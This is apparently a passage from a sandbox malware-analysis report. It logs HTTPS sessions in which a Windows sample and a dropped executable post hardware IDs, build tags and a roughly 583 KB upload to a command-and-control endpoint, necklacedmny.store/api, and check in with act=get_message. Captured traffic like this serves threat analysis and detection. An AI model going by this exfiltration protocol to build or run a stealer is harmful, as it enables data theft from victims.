2024-11-01 11:13:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:13:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:13:18 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:13:18 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtjo7mfrp8hkqlr7uletnq0l6b; expires=Tue, 25-Feb-2025 04:59:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v07QBB0BHYCr%2FsrAwxYdA8IAy3f7e7NpHdP6%2BLQWU7aPAUc%2BMqwCqEXzCoLseFslOf70a%2FF54FYkJdCZOnpXOJtugG8EY%2Bww7mclKd2MyTGpQ6bzMmVkBg%2BiKm2PbpZVokZBme4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb74693cfce732-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1017&sent=13&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=2752851&cwnd=251&unsent_bytes=0&cid=acccaee0bc22c85e&ts=665&x=0"
2024-11-01 11:13:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:13:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49729	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1239 Host: necklacedmny.store
2024-11-01 11:13:19 UTC	1239	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:13:20 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=flhqpbgkvtuc3s0mtud2hbjkqg; expires=Tue, 25-Feb-2025 04:59:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=93MDZDbwQmwDTFsjFf%2FxUxOv%2BkmyxRvKQPku9jNztMb2KAdxOXmXeD4GOl2v8efVXPczVK9d2M1oUqjG%2BswuTXgn1vrsO9pGWz92TwP6M1hV9%2BqnOY1ECNlTH%2FC3ReRMdWYxeLY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb7472bcba4859-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2158&delivery_rate=2671586&cwnd=244&unsent_bytes=0&cid=4ef69a793d72cfd1&ts=479&x=0"
2024-11-01 11:13:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49741	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:22 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 582735 Host: necklacedmny.store
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D4A8715D3F939BD49FC06A37E8D412E6--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: 4c ab 2f 28 29 f0 65 68 b2 18 a2 ab 4a b3 2d c7 cb 91 86 8b cd 95 70 83 2b 4d 0a 14 7d 65 9a 9c e3 c2 ee d3 24 b2 9e 2e 7c 30 ec b5 70 a2 e3 66 c1 38 0b 13 b3 94 4c 15 3f f7 d6 5e 4d cd 93 ff e3 c4 70 38 e6 16 71 4b cf 31 07 3a 8a d8 3f db 7a 11 75 3d 71 4a 01 dd 4b d0 1e 8a 74 c1 c2 f8 e1 95 73 f6 80 ec 3f 16 35 35 fc f2 bd a6 97 e2 fa 89 d0 e1 a2 f3 c8 c4 92 e0 8c be 6a ad d6 c6 b3 c5 e7 5f 6f ac 5e 5f 38 ff 1b 91 21 1e 63 27 e2 f6 90 ef 0b 01 bb 74 58 39 5f 90 31 8b 86 75 ff 84 b2 21 06 c4 ef 81 47 9b 63 c2 89 82 af 88 d3 c8 e4 af 01 58 f5 67 8d cf 0c 6a 2e 1b f3 ec ff df dd 5e 24 0d 0c be 7a 82 1b 68 d0 44 fe 7d 00 86 ee 8d 66 62 b4 91 30 9c 6a 3e a4 ce 9d ed 18 8a 01 8c ff 92 55 ff 53 a3 09 f8 c9 d2 07 90 fc 4a 04 a7 8f 86 7b bf 7b f6 3d 84 98 be 1b Data Ascii: L/()ehJ-p+M}e$.\|0pf8L?^Mp8qK1:?zu=qJKts?55j_o^_8!c'tX9_1u!GcXgj.^$zhD}fb0j>USJ{{=
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: b8 ca 63 30 cf be 6c 94 4e a8 e3 44 7d 1e db 68 ec 50 22 b3 be 32 da 86 83 88 3f bc bd ed c7 b2 7d 7e 68 26 6c 7c b5 10 17 16 5e 71 29 45 de 2e 91 12 14 e9 4f 0f e6 d8 d7 05 0f 4c 1a 5b 0b ae 3e 9a 81 6f f9 8b 64 51 37 a4 96 76 2f 7c d7 74 83 21 4b e5 bc 0b a3 57 1a c9 a5 f2 0f 5d 44 35 65 67 f5 30 6a 56 4f bf ff 12 70 64 48 eb 1a af ba 72 b1 49 71 58 f4 e0 10 2b 62 a3 72 b4 b2 f2 e2 c8 b8 3b eb ef 24 88 9c 3d 8a 4d 75 9e 39 4e 19 3f 1a b8 dc 65 5d 39 51 25 6b 72 ca e1 7b 5d b7 d3 ee ec ca ad 68 38 b5 56 96 92 84 02 f1 a6 9e 6d d5 47 86 18 f2 bc d0 f9 6e fa 30 1a d6 cb 0c 96 01 ac 1c 6c 67 9f 4f bf 3d 0e 30 cc 70 48 e8 f0 0a 0f ec 55 81 0d d2 4d 38 10 6d f4 65 e1 32 60 91 90 d4 e1 30 f9 ff 7b ca e5 fe ed e4 d7 46 40 1a ec c1 88 4c 49 0a b6 03 25 d2 ef eb Data Ascii: c0lND}hP"2?}~h&l\|^q)E.OL[>odQ7v/\|t!KW]D5eg0jVOpdHrIqX+br;$=Mu9N?e]9Q%kr{]h8VmGn0lgO=0pHUM8me2`0{F@LI%
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: f1 2a 24 65 f0 0e b2 18 4e 2b 47 29 1f 71 97 03 7f 54 1b dd 66 92 cb ff 82 d2 f7 ae 97 a8 ad fb 80 dd c8 16 ec 9b 12 69 7a 4b 03 c4 fc e4 27 7f f2 a0 ff 7d 42 a2 45 57 44 f9 4c 0f ed 3a bc 95 c5 f5 70 6c 8f 02 71 e9 20 36 8b a6 0e 10 c2 77 be eb 35 b5 c0 12 16 75 02 25 62 16 13 0e 05 77 95 00 ca 5b 0d 09 01 63 72 cb 10 78 6e 75 08 90 c2 70 10 88 0a 18 5a 1c 1b 94 20 25 9e c2 e3 5f ee bc be 7c 2b 70 33 68 9e 3e c4 b2 82 1f 6e 76 ce e5 46 ea 6a 0b a1 fd f5 4b b2 85 a7 92 ff 26 aa 25 ff eb eb 7b 69 c9 af a6 1c 3c a0 f0 33 fd 3a 74 82 2b af e5 e4 9e 3d f6 ad 14 fa 66 b4 b8 94 9e 9e 68 5c 6a 25 b7 4c 9c 7b 7b 32 d6 c9 91 76 ec d3 81 1f 12 50 74 f4 5c 70 53 7c d5 23 76 15 f3 fb 20 97 2c 5c 19 14 9b 25 1f 86 8d 0f 76 71 94 d8 26 25 5e 05 7d 3f d3 b5 18 fd 5a 1f Data Ascii: *$eN+G)qTfizK'}BEWDL:plq 6w5u%bw[crxnupZ %_\|+p3h>nvFjK&%{i<3:t+=fh\j%L{{2vPt\pS\|#v ,\%vq&%^}?Z
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: f9 86 7c a3 c2 55 b6 da 39 f3 a7 86 33 74 f9 3c 7c d4 64 a2 78 97 f3 da 55 0f ef 68 e3 02 50 7e 0d 87 93 2e e9 e1 e4 27 b7 da 7e 65 2f b1 8b 71 47 e6 bc 1d ec 23 09 bf b9 da 21 0c 51 98 4d a4 72 e5 60 66 91 5a f6 53 71 32 81 6b 33 ee c4 45 2a 14 56 9d b7 e9 8d 44 cc c7 ff ab d1 95 a3 82 ff b3 5e ff df cb 5e 51 30 f6 1d 91 82 05 da bf 14 18 53 a0 03 cb ad 33 4a b2 2a 75 b8 75 38 0f e7 b0 00 6e 5d eb e6 c2 ab 27 20 03 fe 99 00 90 13 0a 33 7c 6f b9 44 87 8f 7a 26 0c eb 44 cc aa ae 6c 78 fa e0 5e da c9 6b b8 50 25 c5 28 7f c9 05 6e cd 85 e2 da 4e 14 d7 d0 8c fa 7b 1e 08 ea e4 cc f9 7c 64 a4 27 19 6e e0 31 8b ca e0 33 32 8c 65 5e 4c 24 56 47 14 01 48 77 6f 82 8b dd d6 9c ad e2 43 6d b5 9d 95 af dd 77 a8 8d d4 1c 05 09 0c 8b 71 f6 bb 19 c4 2c a9 64 e3 22 c0 b6 Data Ascii: \|U93t<\|dxUhP~.'~e/qG#!QMr`fZSq2k3EVD^^Q0S3Juu8n]' 3\|oDz&Dlx^kP%(nN{\|d'n132e^L$VGHwoCmwq,d"
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: df 38 6f 37 79 bf 1a a9 86 03 63 7b 40 91 14 bb 8b ca cb 08 bb fb 76 a5 59 2f 47 af cc 4b ca fb f6 40 88 bb 6d a9 41 67 99 77 6f ce dc 40 c8 30 00 78 96 a7 d5 fe 49 e1 e7 c7 6d f4 79 1a 22 a9 41 6b 46 03 4a 79 2d cc 2f 95 1d 2a 42 b2 e3 5f 2c 6f ec f8 e8 f3 80 c5 46 53 60 a3 a6 05 7f 92 36 af 61 dc b5 ef bb b2 4d df 72 c7 ff e0 59 2f a1 48 46 b3 ee 6f 2c 28 fb 25 dd 44 a9 51 c3 83 de 6b 52 3c 2b 06 85 e9 82 a6 c4 86 f7 7b 89 ce 4a 82 c3 77 c0 d8 91 c8 f7 a6 1d 2a 98 7c 59 9c e3 d8 d6 24 ed 3d 86 a8 fc 03 83 c8 72 de 68 0a f3 de f4 ee 12 ea ce c3 ec 2c 7d 70 22 7a 1b e1 0c 62 d1 36 1e ee 88 24 23 80 9c de 4d eb d5 de 52 9e 81 ab 3f cb 7d f7 36 bc be 26 09 35 e8 85 b4 6e 75 92 ef 3c ce 0c 8c 15 a3 24 71 cf ff 5c 67 04 89 df 25 5b 31 42 c5 d5 08 a5 9f 88 f2 Data Ascii: 8o7yc{@vY/GK@mAgwo@0xImy"AkFJy-/B_,oFS`6aMrY/HFo,(%DQkR<+{Jw\|Y$=rh,}p"zb6$#MR?}6&5nu<$q\g%[1B
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: b5 53 c9 6c 59 29 39 e1 66 6e 19 1b 61 9c eb 5d eb 23 7e 59 f6 aa 10 4e c5 75 db 4c 44 13 5a 0f 31 4b 31 dd 28 0a d3 04 0b 3b be 0e 9f 97 d8 33 85 42 de 4a 7a c2 d0 8b 02 8b f0 ed 25 00 c2 da 1e 88 11 3e 92 2c 05 ce 8f e7 8a d6 c9 8b df 52 b7 5f f3 fe bb 28 3a b6 26 d8 55 40 fa 97 31 95 48 51 c0 1f d6 1f 4e 3e e0 6a 15 1c 38 9b 81 85 3b 9b 73 35 99 dc bb 77 c6 8a c4 43 64 7b c4 ef c3 1e 8f e3 39 3c a2 71 2a 44 17 db 78 9e c4 54 32 02 10 5f ec 93 fd b3 73 9b cd 76 f4 6f 7a a0 28 fc eb 57 39 d0 1d 8a 29 3f 05 d8 36 78 80 9e ad 71 b8 06 08 f6 52 5d af 0b ab 0d 2b 66 2b a6 b2 d5 0b 2b 0f 56 f0 79 1c 24 8d 97 b4 9a 2a 54 ad 8f 3e dd 12 7e cb 9b 0d 20 65 a3 b6 47 a9 45 42 36 2a d2 d1 a2 6f 2d fd ad af 54 14 19 0b 0f ca 02 a6 aa 32 40 2d 9a 95 37 92 91 67 24 c4 Data Ascii: SlY)9fna]#~YNuLDZ1K1(;3BJz%>,R_(:&U@1HQN>j8;s5wCd{9<qDxT2_svoz(W9)?6xqR]+f++Vy$T>~ eGEB6*o-T2@-7g$
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: ea 3f 4f e1 1b 3f 65 23 58 80 7f 0c 8e e1 9e 73 d8 ea 69 54 b7 52 7e 20 08 3e 39 14 13 17 11 d9 e3 b6 43 e8 9a 71 49 92 6a 60 12 53 50 46 0d f8 2a 04 cc f7 6c 33 3f ab 5c 26 20 c9 df 32 cd ba de 3a e9 74 9d e4 cd d6 1e f2 0e fd 79 f2 89 71 6a e9 87 f0 e3 ef 68 68 cf c5 22 f2 02 ef f4 f6 98 c5 bd a5 c9 cf ca dc ed a1 fb dc 5f e7 fb eb ee 3f 49 f2 22 bf db 05 bf 05 e2 a6 cc 76 75 98 ce 1f 63 18 cc 1d da 6f b2 1f a0 99 c3 4f 48 ca 43 23 c7 cc de fb 6c f8 2c d1 7a 00 17 c0 03 be d2 e6 c8 73 98 77 ee c2 d1 6e 80 9e 7b f0 c6 43 fc 76 f4 72 2f 6f af 0a 3f 7c 58 51 c3 14 16 85 76 e1 df 27 a4 ff 26 9f d2 cf da 10 b7 bb 5a 90 c4 24 5d ef 23 7f 4c df 2c 1c d6 dd 69 ef 61 94 ac 5f 23 1e 39 45 f1 66 bb 3f e3 45 b7 ac be fd b5 ae c9 d3 55 d4 51 0b 84 92 77 03 04 4b 84 Data Ascii: ?O?e#XsiTR~ >9CqIj`SPF*l3?\& 2:tyqjhh"_?I"vucoOHC#l,zswn{Cvr/o?\|XQv'&Z$]#L,ia_#9Ef?EUQwK
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: 0d e2 94 2e ff 79 48 91 e4 0c 07 6f 15 b7 59 68 04 57 d0 05 8b 98 cb b8 c4 ed 8b ca b8 31 ba fc fa 44 f8 9b a5 5c 6a 55 f8 15 5b 1c 33 5e 8e ba e9 82 4f 82 e9 c2 da 36 c9 f2 18 b1 00 e2 6d e0 f3 2d e1 58 24 1f b4 c1 3b 8b 2c 3d 68 bc aa 3c c8 6d d2 1e 63 dd be d5 78 aa 1e b7 60 8e 88 55 47 65 c3 f0 c1 40 4c 48 e3 0c 01 fd 41 c5 8b 7b 34 ff 71 d6 80 34 43 12 71 69 b5 b8 e9 a6 dc f6 d1 e5 84 78 6a f5 de 36 d8 61 90 da 8e 2f aa 9f b0 96 6d 81 61 93 20 9f d9 e2 3b da a9 0b 74 a7 2d 8f a7 31 03 5f c1 ae f1 ae 27 d1 af 5b b4 72 72 16 ce 36 67 4b df 91 cc a4 86 1e 1e 8c 36 64 8d 99 d0 73 4c 15 98 0e bb 71 6f 27 b7 af 3a 2c 49 ea 1e b7 1f f6 14 36 9b 96 7f bf 3c fc 83 83 2f 64 8a 80 32 8b 14 91 ad f8 fe e8 ca 26 f1 de b4 4d eb 4a e6 93 7f 4f 08 b6 3c e9 8f a2 15 Data Ascii: .yHoYhW1D\jU[3^O6m-X$;,=h<mcx`UGe@LHA{4q4Cqixj6a/ma ;t-1_'[rr6gK6dsLqo':,I6</d2&MJO<
2024-11-01 11:13:22 UTC	15331	OUT	Data Raw: 99 ba e9 96 57 c0 dc bc d4 e6 13 22 71 86 65 b4 6c ed cc 05 6c e7 4a b5 46 3f 24 47 a0 2c 97 dd 9d c3 f6 e7 b0 1f 8a 3f 7f b3 27 24 25 a8 71 d1 5b 76 fc c1 6c e4 92 5d 1f 7a d0 e0 a1 7a d6 a1 9d d6 7d ce d6 70 36 9b f9 8d 7d b0 6a 3a df f2 1f cb 32 74 b7 4c 51 b1 db 93 67 99 d5 79 37 48 36 3a 83 df 24 14 cf 69 34 b8 6b 23 62 99 aa aa 7b 79 6a 0c 8e 51 79 fe 81 05 de bb 4e d3 ad 7c 06 d3 cd d5 41 73 7c 02 1a b6 14 61 94 12 26 68 82 3e 18 37 c0 2a 1b 88 1e 7e d0 4a 94 6c 79 0b 3c d8 29 3f 99 e3 4c 10 aa 20 83 06 7f 7d 3a 36 0f 8a 6a af 82 f9 79 35 75 87 2e a1 3f a2 2e fb 3e 0d 07 71 74 68 94 7a 83 d9 18 53 fd 36 c4 95 48 c5 d6 fc ae c4 e0 43 bd 75 42 ee 0f 15 93 d1 83 37 98 dd aa a8 13 0c 53 9b 0c ff d5 b3 82 95 ea 32 a7 60 11 8f a9 1e f0 18 e3 fd 98 fe c4 Data Ascii: W"qellJF?$G,?'$%q[vl]zz}p6}j:2tLQgy7H6:$i4k#b{yjQyN\|As\|a&h>7*~Jly<)?L }:6jy5u.?.>qthzS6HCuB7S2`
2024-11-01 11:13:24 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ovvkipuu3ppfjjqs4usj66qe51; expires=Tue, 25-Feb-2025 05:00:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n5GylRNGUaO6iwq0Y%2BC7wpN%2F%2BGgHEJ6on1QYnRMhHOTDi28L3QF6exWHqGWOaOrWXznCLfrY3An72L5BiY4slvWMlGmWxQ54JVrPq%2FEwp5sol3G%2BJw3qcKgHOqdgeFBOWACwiwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb74832e8f0bb2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1398&sent=219&recv=621&lost=0&retrans=0&sent_bytes=2846&recv_bytes=585328&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=4a2b7fefddc5444f&ts=2460&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49765	188.114.97.3	443	5140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:13:25 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 11:13:25 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 34 41 38 37 31 35 44 33 46 39 33 39 42 44 34 39 46 43 30 36 41 33 37 45 38 44 34 31 32 45 36 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D4A8715D3F939BD49FC06A37E8D412E6
2024-11-01 11:13:26 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o9bces3v5ved1mvslc1ano8ibm; expires=Tue, 25-Feb-2025 05:00:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YjPKHVKXIM%2ByvwJk2MbI1SAldokATVOksmdz%2B%2FCBIpj8n43z36KxdkEPO04PRwW2mwfJpckyOOxDrXZ2ITfn54sx8oaqKRBFDDUKQLfxQv%2BFhfKMiMtvVyeenZDpQGAnDvrgbwc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb74998ae56b4b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1083&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2481576&cwnd=251&unsent_bytes=0&cid=1b7ccae1933c17cd&ts=864&x=0"
2024-11-01 11:13:26 UTC	214	IN	Data Raw: 64 30 0d 0a 55 53 41 64 37 32 55 2b 4f 67 6f 66 46 33 6c 37 56 53 6c 52 31 34 56 42 57 75 6c 5a 79 64 37 53 78 7a 39 57 48 66 35 30 6a 54 63 4b 57 7a 2b 61 52 77 51 59 59 6d 74 6a 43 55 45 4a 42 67 33 34 74 48 6c 76 78 32 76 34 36 2f 7a 32 44 6d 55 7a 7a 30 4c 52 47 44 35 47 65 37 4e 4b 57 6c 39 73 4d 58 49 42 48 6e 63 46 63 37 48 78 59 32 44 5a 64 65 75 37 38 50 30 50 4b 7a 47 46 56 76 67 56 61 77 4a 31 6d 78 46 4f 41 46 59 77 53 31 5a 4b 62 52 78 2f 35 62 52 30 64 4e 68 6f 2b 76 44 6a 38 57 4e 35 63 4a 63 61 36 47 74 2b 55 6e 79 42 41 56 46 58 4a 48 70 76 48 46 6c 35 43 7a 65 6a 70 33 74 71 78 58 75 73 2f 4f 6a 33 51 67 73 3d 0d 0a Data Ascii: d0USAd72U+OgofF3l7VSlR14VBWulZyd7Sxz9WHf50jTcKWz+aRwQYYmtjCUEJBg34tHlvx2v46/z2DmUzz0LRGD5Ge7NKWl9sMXIBHncFc7HxY2DZdeu78P0PKzGFVvgVawJ1mxFOAFYwS1ZKbRx/5bR0dNho+vDj8WN5cJca6Gt+UnyBAVFXJHpvHFl5Czejp3tqxXus/Oj3Qgs=
2024-11-01 11:13:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49982	188.114.97.3	443	5640	C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:14:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
